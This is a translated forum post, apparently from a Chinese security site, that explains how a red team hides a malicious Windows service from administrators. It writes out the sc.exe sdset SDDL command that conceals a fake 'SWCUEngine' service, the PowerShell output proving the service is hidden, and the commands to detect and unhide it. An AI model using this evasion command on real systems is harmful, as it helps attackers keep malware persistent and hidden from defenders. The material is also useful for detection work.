-
-
[翻译]红队战术:隐藏Windows服务(大意)
-
发表于: 2020-10-29 00:30 10911
-
声明:本文及其软件仅用于学习交流,请勿用于商业用途和违法行为,使用产生的后果由使用者承担,本作者不承担任何法律责任和风险。
如需转载请注明一下出处,谢谢~。
原文:https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
Windows有一个鲜为人知的功能,允许红队或攻击者隐藏服务,以避开基于主机的常规威胁检测技术的检测。
在最近一次和红队的交锋中,我的队伍遇到了一些训练有素、经验丰富的后卫。我们开发了专门的恶意软件来逃避EDR平台,但我们知道主机分析人员最终会把我们抓住,并迅速把我们从目标组织中踢出。
1 2 3 4 5 | PS C:\WINDOWS\system32> Get - Service - Name SWCUEngine Status Name DisplayName - - - - - - - - - - - - - - - - - - - - - Running SWCUEngine SWCUEngine |
通过对几个高级威胁组织的记录,我们将使用具有迷惑性的通用服务名称,以便在感染系统的同时保持持久性。在这里,SWCUEngine是我们的恶意软件的服务名,肤浅地假装成AVAST软件的清理引擎所用的服务名。虽然这可能会逃避简单的检查,但在实战中,防守方会积极寻找红队的存在,这有可能会让我们暴露。
所以,我们决定增加一点检测难度。
1 2 | PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" [SC] SetServiceObjectSecurity SUCCESS |
1 2 3 4 5 6 7 | PS C:\WINDOWS\system32> Get - Service - Name SWCUEngine Get - Service : Cannot find any service with service name 'SWCUEngine' . At line: 1 char: 1 + Get - Service - Name SWCUEngine + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (SWCUEngine:String) [Get - Service], ServiceCommandException + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand |
Windows服务支持使用Service Descriptor Definition Language(SDDL)修改服务的权限。作为管理员,我们通常不必手动更改服务权限的SDDL语法,但是,攻击者仍可以通过谨慎的操作让指定的服务隐藏。在本例中,冒名顶替的SWCUEngine服务对蓝队的防御者而言,几乎是不可见的。
SDDL语法有点难以理解,我们可以分解为以下元素:
1 | D: - 设置服务上的自由访问控制列表(DACL)权限 |
1 2 3 4 5 6 | (D;;DCLCWPDTSD;;;IU) - 拒绝交互式用户的以下权限: DC - Delete Child LC - List Children WP - Write Property DT - Delete Tree SD - Service Delete |
服务(SU)和管理员(BA)也会重复这个SDDL语句块。
1 2 | (D;;DCLCWPDTSD;;;SU) - 拒绝服务的同上权限 (D;;DCLCWPDTSD;;;BA) - 拒绝管理员的同上权限 |
随后,A(允许)权限,继承服务的默认权限。
特别感谢Wayne Martin和Harry Johnston撰写的关于解码SDDL修改权限的文章。(随后笔者将翻译这两篇文章)
通过对服务进行这种更改,防御者就看不到该驻留方式了。无论是service.exe、Get-Service、sc query 以及我所知道的任何其他服务控制工具,都不能显示该服务项。
1 2 3 4 | PS C:\WINDOWS\system32> Get - Service | Select - Object Name | Select - String - Pattern 'SWCUEngine' PS C:\WINDOWS\system32> Get - WmiObject Win32_Service | Select - String - Pattern 'SWCUEngine' PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe query | Select - String - Pattern 'SWCUEngine' PS C:\WINDOWS\system32 |
如果防御者事先知道服务的名称,他们可以通过指定服务名来尝试停止服务,以此来识别服务的存在。在本例中,服务JoshNoSuchService不存在,而SWCUEngine存在并隐藏:
1 2 3 4 5 6 7 | PS C:\WINDOWS\system32> Set - Service - Name JoshNoSuchService - Status Stopped Set - Service : Service JoshNoSuchService was not found on computer '.' . At line: 1 char: 1 + Set - Service - Name JoshNoSuchService - Status Stopped + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (.:String) [ Set - Service], InvalidOperationException + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServiceCommand |
1 2 3 4 5 6 7 8 | PS C:\WINDOWS\system32> Set - Service - Name SWCUEngine - Status Stopped Set - Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following error: Access is denied At line: 1 char: 1 + Set - Service - Name SWCUEngine - Status Stopped + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (System.ServiceProcess.ServiceController:ServiceController) [ Set - Service], ServiceCommandException + FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceCommand |
当然,你也只能通过服务名来解除隐藏该服务。
1 2 3 4 5 6 7 | PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" [SC] SetServiceObjectSecurity SUCCESS PS C:\WINDOWS\system32> Get - Service - Name 'SWCUEngine' Status Name DisplayName - - - - - - - - - - - - - - - - - - - - - Running SWCUEngine SWCUEngine |
对红队而言,这可能是一种有用的技术,既可以在被害主机上保持持久性,又可以隐藏服务。
[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!
赞赏
- [翻译]红队战术:隐藏Windows服务(大意) 10912
- [翻译]自启动方式 No.96(大意) 5862
- [翻译]自启动方式 No.94 No.95(大意) 6213
- [翻译]自启动方式 No.93(大意) 5772
- [求助]通讯框架 3154